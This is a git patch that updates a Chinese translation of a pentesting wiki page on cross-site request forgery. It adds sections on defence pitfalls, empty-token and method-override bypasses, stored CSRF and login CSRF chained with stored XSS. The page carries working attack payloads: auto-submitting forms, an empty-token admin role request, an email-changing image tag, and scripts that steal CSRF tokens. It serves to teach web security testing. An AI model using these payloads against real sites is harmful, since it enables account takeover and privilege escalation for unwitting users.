From 5b2b9d65d8512dad11a581fc8367c32b31851954 Mon Sep 17 00:00:00 2001 From: Translator Date: Mon, 29 Sep 2025 22:33:35 +0000 Subject: [PATCH] Translated ['', 'src/pentesting-web/csrf-cross-site-request-forgery.md'] --- src/SUMMARY.md | 1 + .../csrf-cross-site-request-forgery.md | 227 ++++++++++++------ 2 files changed, 159 insertions(+), 69 deletions(-) diff --git a/src/SUMMARY.md b/src/SUMMARY.md index 4c7d77d24..ff94a56ed 100644 --- a/src/SUMMARY.md +++ b/src/SUMMARY.md @@ -487,6 +487,7 @@ - [88tcp/udp - Pentesting Kerberos](network-services-pentesting/pentesting-kerberos-88/README.md) - [Harvesting tickets from Windows](network-services-pentesting/pentesting-kerberos-88/harvesting-tickets-from-windows.md) - [Harvesting tickets from Linux](network-services-pentesting/pentesting-kerberos-88/harvesting-tickets-from-linux.md) + - [Wsgi](network-services-pentesting/pentesting-web/wsgi.md) - [110,995 - Pentesting POP](network-services-pentesting/pentesting-pop.md) - [111/TCP/UDP - Pentesting Portmapper](network-services-pentesting/pentesting-rpcbind.md) - [113 - Pentesting Ident](network-services-pentesting/113-pentesting-ident.md) diff --git a/src/pentesting-web/csrf-cross-site-request-forgery.md b/src/pentesting-web/csrf-cross-site-request-forgery.md index d5bfd05a1..b2ce6ec07 100644 --- a/src/pentesting-web/csrf-cross-site-request-forgery.md +++ b/src/pentesting-web/csrf-cross-site-request-forgery.md @@ -4,49 +4,56 @@ ## Cross-Site Request Forgery (CSRF) 解释 -**Cross-Site Request Forgery (CSRF)** 是一种出现在 web 应用中的安全漏洞。它允许攻击者利用用户的已认证会话替用户执行操作。当用户在受害者平台已登录时访问恶意站点,攻击就会被触发。该站点通过执行 JavaScript、提交表单或获取图片等方式向受害者账户发送请求。 +**Cross-Site Request Forgery (CSRF)** 是一种常见于 web 应用的安全漏洞。它允许攻击者通过利用用户的已认证会话,代替不知情的用户执行操作。攻击在用户(已登录受害者平台)访问恶意站点时发生,该站点通过执行 JavaScript、提交表单或获取图片等方式向受害者账户发起请求。 ### CSRF 攻击的先决条件 -要利用 CSRF 漏洞,需要满足几个条件: +要利用 CSRF 漏洞,需要满足多个条件: -1. **Identify a Valuable Action**: 攻击者需要找到一个值得利用的操作,例如更改用户的密码、电子邮件或提升权限。 -2. **Session Management**: 用户的会话应仅通过 cookies 或 HTTP Basic Authentication header 管理,因为其他 header 无法为此目的被操控。 -3. **Absence of Unpredictable Parameters**: 请求不应包含不可预测的参数,否则可能会阻止攻击。 +1. **识别有价值的操作**:攻击者需要找到值得利用的操作,例如更改用户密码、邮箱或提升权限。 +2. **会话管理**:用户的会话应仅通过 cookies 或 HTTP Basic Authentication header 管理,因为其他头部无法为此目的被操控。 +3. **不存在不可预测的参数**:请求中不应包含不可预测的参数,否则可能阻止攻击。 ### 快速检查 -你可以在 Burp 中捕获请求并检查 CSRF 保护;要在浏览器中测试,可以点击 **Copy as fetch** 并检查请求: +你可以 **在 Burp 中捕获请求** 并检查 CSRF 保护;要在浏览器中测试,你可以点击 **Copy as fetch** 并检查该请求:
-### 防御 CSRF +### 防御 CSRF 攻击 -可以实施多种对策来防范 CSRF 攻击: +可以实施多种对策来防止 CSRF 攻击: -- [**SameSite cookies**](hacking-with-cookies/index.html#samesite): 该属性阻止浏览器在跨站请求时随请求发送 cookies。 [More about SameSite cookies](hacking-with-cookies/index.html#samesite). -- [**Cross-origin resource sharing**](cors-bypass.md): 受害者站点的 CORS 策略会影响攻击的可行性,尤其是在攻击需要读取受害者站点响应时。 [Learn about CORS bypass](cors-bypass.md). -- **User Verification**: 要求用户输入密码或完成验证码可用于确认用户意图。 -- **Checking Referrer or Origin Headers**: 验证这些 header 可以帮助确保请求来自受信任的来源。然而,精心构造的 URL 仍可绕过实现不当的检查,例如: +- [**SameSite cookies**](hacking-with-cookies/index.html#samesite):该属性阻止浏览器在跨站请求时发送 cookies。[More about SameSite cookies](hacking-with-cookies/index.html#samesite)。 +- [**Cross-origin resource sharing**](cors-bypass.md):受害站点的 CORS 策略会影响攻击的可行性,尤其是当攻击需要读取受害站点响应时。[Learn about CORS bypass](cors-bypass.md)。 +- **用户验证**:提示用户输入密码或完成 captcha 可以确认用户意图。 +- **检查 Referrer 或 Origin 头**:验证这些头可以帮助确保请求来自可信来源。但精心构造的 URL 仍可绕过实现不当的检查,例如: - 使用 `http://mal.net?orig=http://example.com`(URL 以受信任 URL 结尾) - 使用 `http://example.com.mal.net`(URL 以受信任 URL 开头) -- **Modifying Parameter Names**: 改变 POST 或 GET 请求中参数的名称可以帮助防止自动化攻击。 -- **CSRF Tokens**: 在每个会话中加入唯一的 CSRF token,并在后续请求中要求提供该 token,可以显著降低 CSRF 风险。通过强制执行 CORS 可以增强 token 的有效性。 +- **修改参数名**:更改 POST 或 GET 请求中参数的名称可以有助于防止自动化攻击。 +- **CSRF Tokens**:在每个会话中加入唯一的 CSRF token,并在后续请求中要求提供该 token,可以显著降低 CSRF 风险。通过强制 CORS 可以提高 token 的有效性。 -理解并实现这些防护措施对于维护 web 应用的安全性和完整性至关重要。 +理解并实施这些防御对于维护 web 应用的安全性和完整性至关重要。 -## 防御绕过 +#### 防御的常见陷阱 -### 从 POST 到 GET (method-conditioned CSRF validation bypass) +- SameSite 陷阱:`SameSite=Lax` 仍允许顶级的跨站导航,比如链接和表单 GET,因此许多基于 GET 的 CSRF 仍然可行。参见 cookie 矩阵在 [Hacking with Cookies > SameSite](hacking-with-cookies/index.html#samesite)。 +- 头部检查:当存在 `Origin` 时验证其值;如果 `Origin` 和 `Referer` 都缺失,应拒绝请求。不要依赖对 `Referer` 的子串/正则匹配,因为可以通过相似域名或精心构造的 URL 绕过;还要注意 `meta name="referrer" content="never"` 的抑制技巧。 +- 方法覆盖:将被覆盖的方法(`_method` 或 override headers)视为会改变状态的操作,并在实际方法上强制 CSRF,而不仅仅是在 POST 上。 +- 登录流程:对登录也应用 CSRF 保护;否则,login CSRF 会导致强制重新认证到攻击者控制的账户,这可以与 stored XSS 链接起来。 -一些应用只在 POST 上执行 CSRF 验证,而对其他 HTTP 动词跳过。PHP 中常见的反模式如下: +## 绕过防御 + +### 从 POST 到 GET(基于方法的 CSRF 验证绕过) + +一些应用只在 POST 上强制 CSRF 验证,而对其他动词跳过。PHP 中常见的反模式看起来像: ```php public function csrf_check($fatal = true) { if ($_SERVER['REQUEST_METHOD'] !== 'POST') return true; // GET, HEAD, etc. bypass CSRF // ... validate __csrf_token here ... } ``` -如果易受攻击的端点也接受来自 $_REQUEST 的参数,你可以以 GET 请求重新发送相同的操作并完全省略 CSRF token。这会把仅限 POST 的操作转换为无需 token 就能成功的 GET 操作。 +如果易受攻击的 endpoint 也接受来自 $_REQUEST 的参数,你可以将相同的操作以 GET 请求重新发起并完全省略 CSRF token。这样可以把一个仅限 POST 的操作转换为一个无需 token 即可成功的 GET 操作。 Example: @@ -66,49 +73,89 @@ GET /index.php?module=Home&action=HomeAjax&file=HomeWidgetBlockList&widgetInfoLi ``` Notes: -- 这种模式经常与 reflected XSS 一起出现,响应被错误地以 text/html 而不是 application/json 返回。 +- 这种模式常与 reflected XSS 一起出现,原因是响应被错误地作为 text/html 而不是 application/json 返回。 - 将此与 XSS 结合会大大降低利用门槛,因为你可以提供一个单一的 GET 链接,既触发易受攻击的代码路径,又完全绕过 CSRF 检查。 ### 缺少 token -应用可能会在 token 存在时实现验证机制。然而,如果在 token 缺失时完全跳过验证,就会产生漏洞。攻击者可以通过删除携带 token 的参数(不仅仅是清空其值)来利用这一点。这允许他们绕过验证流程并有效地发起 Cross-Site Request Forgery (CSRF) 攻击。 +Applications might implement a mechanism to **validate tokens** when they are present. However, a vulnerability arises if the validation is skipped altogether when the token is absent. Attackers can exploit this by **removing the parameter** that carries the token, not just its value. This allows them to circumvent the validation process and conduct a Cross-Site Request Forgery (CSRF) attack effectively. -### CSRF token 未绑定到用户会话 +Moreover, some implementations only check that the parameter exists but don’t validate its content, so an **empty token value is accepted**. In that case, simply submitting the request with `csrf=` is enough: +```http +POST /admin/users/role HTTP/2 +Host: example.com +Content-Type: application/x-www-form-urlencoded -未将 CSRF token 绑定到用户会话的应用存在重大安全风险。这类系统将 token 与全局池进行校验,而不是确保每个 token 与发起会话关联。 +username=guest&role=admin&csrf= +``` +最小化自动提交 PoC (通过 history.pushState 隐藏导航): +```html + + +
+ + + + +
+ + + +``` +### CSRF 令牌未绑定到用户会话 + +应用程序**未将 CSRF 令牌绑定到用户会话**会带来重大**安全风险**。这些系统会将令牌与**全局池**进行验证,而不是确保每个令牌绑定到发起会话。 攻击者利用该问题的方式如下: -1. 使用自己的账户进行认证。 -2. 从全局池获取一个有效的 CSRF token。 -3. 在针对受害者的 CSRF 攻击中使用该 token。 +1. **Authenticate** 使用他们自己的账户。 +2. **从全局池获取有效的 CSRF 令牌**。 +3. **在针对受害者的 CSRF 攻击中使用该令牌**。 -该漏洞允许攻击者代表受害者发起未授权请求,利用应用不充分的 token 验证机制。 +该漏洞允许攻击者代表受害者发起未经授权的请求,利用应用程序**不充分的令牌验证机制**。 -### 方法绕过 +### 绕过方法 -如果请求使用一个“奇怪”的 method,检查 method override 功能是否生效。例如,如果它使用 PUT method,你可以尝试使用 POST method 并发送: _https://example.com/my/dear/api/val/num?**\_method=PUT**_ +如果请求使用了一个“**weird**”的**方法**,检查**method override**功能是否可用。例如,如果它使用的是 **PUT/DELETE/PATCH** 方法,你可以尝试使用 **POST** 并发送覆盖,例如 `https://example.com/my/dear/api/val/num?_method=PUT`。 -这也可以通过在 POST 请求中发送 \_method 参数或使用以下 headers 来实现: +也可以通过在 POST body 中发送 **`_method` 参数** 或使用覆盖 **headers** 来实现: -- _X-HTTP-Method_ -- _X-HTTP-Method-Override_ -- _X-Method-Override_ +- `X-HTTP-Method` +- `X-HTTP-Method-Override` +- `X-Method-Override` -### 自定义 header token 绕过 +在 **Laravel**, **Symfony**, **Express** 等框架中常见。开发者有时会对非 POST 动词跳过 CSRF 检查,认为浏览器无法发出这些请求;但通过 override,你仍然可以通过 POST 访问这些处理程序。 -如果请求通过在自定义 header 中添加 token 来作为 CSRF 保护方法,那么: +示例请求和 HTML PoC: +```http +POST /users/delete HTTP/1.1 +Host: example.com +Content-Type: application/x-www-form-urlencoded -- 在没有 Customized Token 及其 header 的情况下测试请求。 -- 使用相同长度但不同的 token 测试请求。 +username=admin&_method=DELETE +``` -### CSRF token 由 cookie 验证 +```html +
+ + + +
+``` +### Custom header token bypass -应用可能通过在 cookie 和请求参数中同时复制 token,或设置 CSRF cookie 并在后端验证请求中发送的 token 是否与 cookie 对应来实现 CSRF 保护。应用通过检查请求参数中的 token 是否与 cookie 的值一致来验证请求。 +如果请求通过在请求中添加一个 **custom header** 和 **token** 作为 **CSRF protection method**,那么: -然而,如果网站存在允许攻击者在受害者浏览器中设置 CSRF cookie 的漏洞(例如 CRLF 漏洞),此方法就容易受到 CSRF 攻击。攻击者可以先通过加载一个伪装的图片来设置该 cookie,然后发起 CSRF 攻击。 +- 在没有 **Customized Token and also header.** 的情况下测试请求。 +- 使用长度完全相同但内容不同的 **same length but different token** 测试请求。 -Below is an example of how an attack could be structured: +### CSRF token is verified by a cookie + +应用可能通过在 cookie 和请求参数中同时复制 token,或者设置 CSRF cookie 并验证后端收到的 token 是否与该 cookie 对应,来实现 CSRF 保护。应用通过检查请求参数中的 token 是否与 cookie 的值一致来验证请求。 + +然而,如果网站存在漏洞(例如 CRLF 漏洞)允许攻击者在受害者的浏览器中设置 CSRF cookie,则该方法易受 CSRF 攻击。攻击者可以通过加载一个伪装的图像来设置该 cookie,然后发起 CSRF 攻击。 + +下面是一个可能构造的攻击示例: ```html @@ -131,19 +178,19 @@ onerror="document.forms[0].submit();" /> ``` > [!TIP] -> 请注意,如果 **csrf token is related with the session cookie this attack won't work**,因为你需要将 victim 的 session 设置为你的 session,因此你将攻击自己。 +> 注意,如果**csrf token 与 session cookie 相关联时,此攻击不会生效**,因为你需要将你的 session 设置到受害者那里,因此你实际上会攻击你自己。 -### Content-Type change +### Content-Type 更改 -根据 [**this**](https://developer.mozilla.org/en-US/docs/Web/HTTP/CORS#simple_requests),为了在使用 **POST** 方法时**避免 preflight 请求**,允许的 Content-Type 值包括: +根据 [**this**](https://developer.mozilla.org/en-US/docs/Web/HTTP/CORS#simple_requests),为了在使用 **POST** 方法时**避免 preflight** 请求,允许的 Content-Type 值包括: - **`application/x-www-form-urlencoded`** - **`multipart/form-data`** - **`text/plain`** -但是请注意,服务器逻辑可能会根据所使用的 **Content-Type** 而有所不同,因此你应该尝试上面提到的值以及其他例如 **`application/json`**, **`text/xml`**, **`application/xml`**。 +然而,请注意,**服务器的逻辑可能会根据所使用的 Content-Type 而有所不同**,因此你应该尝试上面提到的值以及其他值,例如 **`application/json`**_**,**_**`text/xml`**, **`application/xml`**_._ -示例(来自 [here](https://brycec.me/posts/corctf_2021_challenges))将 JSON 数据作为 text/plain 发送: +示例(来自 [here](https://brycec.me/posts/corctf_2021_challenges))将 JSON 数据作为 `text/plain` 发送: ```html @@ -162,23 +209,23 @@ form.submit() ``` -### 绕过针对 JSON 数据的预检请求 +### 绕过 JSON 数据的预检请求 -当尝试通过 POST 请求发送 JSON 数据时,在 HTML 表单中使用 `Content-Type: application/json` 并不可行。同样,使用 `XMLHttpRequest` 发送此 Content-Type 会触发预检请求。不过,存在一些策略可以尝试绕过此限制,并检测服务器是否会在不考虑 Content-Type 的情况下处理 JSON 数据: +当尝试通过 POST 请求发送 JSON 数据时,在 HTML 表单中使用 `Content-Type: application/json` 并不可行。同样,使用 `XMLHttpRequest` 发送该 Content-Type 会触发预检请求。不过,存在一些策略可以尝试绕过此限制并检查服务器是否在不考虑 Content-Type 的情况下处理 JSON 数据: -1. **使用替代 Content-Type**:通过在表单中设置 `enctype="text/plain"` 来使用 `Content-Type: text/plain` 或 `Content-Type: application/x-www-form-urlencoded`。这种方法用于测试后台是否在不看 Content-Type 的情况下使用数据。 -2. **修改 Content-Type**:为避免预检请求并尽量让服务器识别为 JSON,可以使用 `Content-Type: text/plain; application/json` 发送数据。这不会触发预检请求,但如果服务器被配置为接受 `application/json`,可能会被正确处理。 -3. **使用 SWF Flash 文件**:一种不太常见但可行的方法是使用 SWF flash 文件来绕过这些限制。要深入了解此技术,请参阅 [this post](https://anonymousyogi.medium.com/json-csrf-csrf-that-none-talks-about-c2bf9a480937)。 +1. **Use Alternative Content Types**: 通过在表单中设置 `enctype="text/plain"` 来使用 `Content-Type: text/plain` 或 `Content-Type: application/x-www-form-urlencoded`。此方法用于测试后端是否会在不管 Content-Type 的情况下使用数据。 +2. **Modify Content Type**: 为了避免预检请求同时又让服务器将内容识别为 JSON,可以发送 `Content-Type: text/plain; application/json`。这不会触发预检请求,但如果服务器配置为接受 `application/json`,可能会被正确处理。 +3. **SWF Flash File Utilization**: 一种不太常见但可行的方法是使用 SWF flash 文件来绕过此类限制。有关该技术的深入说明,请参阅 [this post](https://anonymousyogi.medium.com/json-csrf-csrf-that-none-talks-about-c2bf9a480937)。 ### Referrer / Origin 检查绕过 -**避免 Referer header** +**Avoid Referrer header** -应用可能只在 'Referer' header 存在时对其进行验证。要阻止浏览器发送该 header,可使用以下 HTML meta 标签: +应用可能只在存在 'Referer' header 时才进行验证。要阻止浏览器发送此 header,可以使用以下 HTML meta tag: ```xml ``` -这将确保 'Referer' 头被省略,可能绕过某些应用中的验证检查。 +这可以确保 'Referer' 请求头被省略,从而可能绕过某些应用中的验证检查。 **Regexp bypasses** @@ -187,7 +234,7 @@ form.submit() ssrf-server-side-request-forgery/url-format-bypass.md {{#endref}} -要在 Referrer 将在参数中发送的 URL 中设置服务器的域名,你可以这样做: +要在 Referrer 将要在参数中发送的 URL 中设置服务器的域名,可以这样做: ```html @@ -216,17 +263,52 @@ document.forms[0].submit() ``` -### **HEAD 方法绕过** +### **HEAD method bypass** -在 [**this CTF writeup**](https://github.com/google/google-ctf/tree/master/2023/web-vegsoda/solution) 的第一部分解释了 [Oak's source code](https://github.com/oakserver/oak/blob/main/router.ts#L281) 中,一个 router 被设置为 **handle HEAD requests as GET requests** 且没有响应体 —— 这是一个常见的变通方法,并非 Oak 独有。与其使用专门处理 HEAD reqs 的 handler,它们只是**被交给 GET handler,但应用只是移除响应体**。 +在 [**this CTF writeup**](https://github.com/google/google-ctf/tree/master/2023/web-vegsoda/solution) 的第一部分中解释到,[Oak's source code](https://github.com/oakserver/oak/blob/main/router.ts#L281) 中的路由被设置为 **handle HEAD requests as GET requests** 且不返回响应体——这是一个常见的变通方法,并非 Oak 独有。与其实现一个专门处理 HEAD reqs 的处理器,它们只是被 **given to the GET handler but the app just removes the response body**。 -因此,如果 GET 请求受到限制,你可以**发送一个将被作为 GET 处理的 HEAD 请求**。 +因此,如果 GET 请求被限制,你可以直接 **send a HEAD request that will be processed as a GET request**。 ## **Exploit Examples** +### Stored CSRF via user-generated HTML + +当允许 rich-text editors 或 HTML injection 时,你可以持久化一个 passive fetch,触发存在漏洞的 GET endpoint。任何查看该内容的用户都会自动使用他们的 cookies 执行该请求。 + +- 如果应用使用一个未绑定到 user session 的 global CSRF token,则相同的 token 可能对所有用户都有效,使得 stored CSRF 在不同受害者间都可靠。 + +Minimal example that changes the viewer’s email when loaded: +```html + +``` +### Login CSRF 与 stored XSS 链接 + +Login CSRF 单独看可能影响较小,但与已认证的 stored XSS 链接后会变得非常强大:强制受害者使用攻击者控制的账号进行认证;在该上下文中,认证页面上的 stored XSS 会被触发,能够窃取 tokens、劫持 session 或提升权限。 + +- 确保 login endpoint 可被 CSRF 利用(没有 per-session token 或 origin check),且没有用户交互门槛阻止它。 +- 在强制登录后,自动跳转到包含攻击者的 stored XSS payload 的页面。 + +最小化的 login-CSRF PoC: +```html + + +
+ + + +
+ + + +``` ### **Exfiltrating CSRF Token** -如果应用使用 **CSRF token** 作为 **defence**,你可以尝试通过滥用 [**XSS**](xss-cross-site-scripting/index.html#xss-stealing-csrf-tokens) 漏洞或 [**Dangling Markup**](dangling-markup-html-scriptless-injection/index.html) 漏洞来**exfiltrate it**。 +如果正在使用 **CSRF token** 作为 **defence**,你可以尝试通过滥用 [**XSS**](xss-cross-site-scripting/index.html#xss-stealing-csrf-tokens) 漏洞或 [**Dangling Markup**](dangling-markup-html-scriptless-injection/index.html) 漏洞来 **exfiltrate it**。 ### **GET using HTML tags** ```xml @@ -309,7 +391,7 @@ document.forms[0].submit() //Way 3 to autosubmit ``` -### 通过 iframe 发送 Form POST 请求 +### 通过 iframe 发起表单 POST 请求 ```html @@ -426,7 +508,7 @@ document.getElementById("formulario").submit() ``` -### **窃取 CSRF Token 并发送 POST request** +### **窃取 CSRF Token 并发送 POST 请求** ```javascript function submitFormWithTokenJS(token) { var xhr = new XMLHttpRequest() @@ -501,7 +583,7 @@ style="display:none" src="http://google.com?param=VALUE" onload="javascript:f1();"> ``` -### **窃取 CSRF Token 并使用 iframe 和 form 发送 POST 请求** +### **窃取 CSRF Token 并 使用 iframe 和 form 发送 POST 请求** ```html ``` -### **POST — 使用 Ajax 窃取 CSRF token 并通过表单发送 post** +### **POSTSteal CSRF token 使用 Ajax 并通过 form 发送 post** ```html
``` -### 使用 Socket.IO 的 CSRF +### CSRF 与 Socket.IO ```html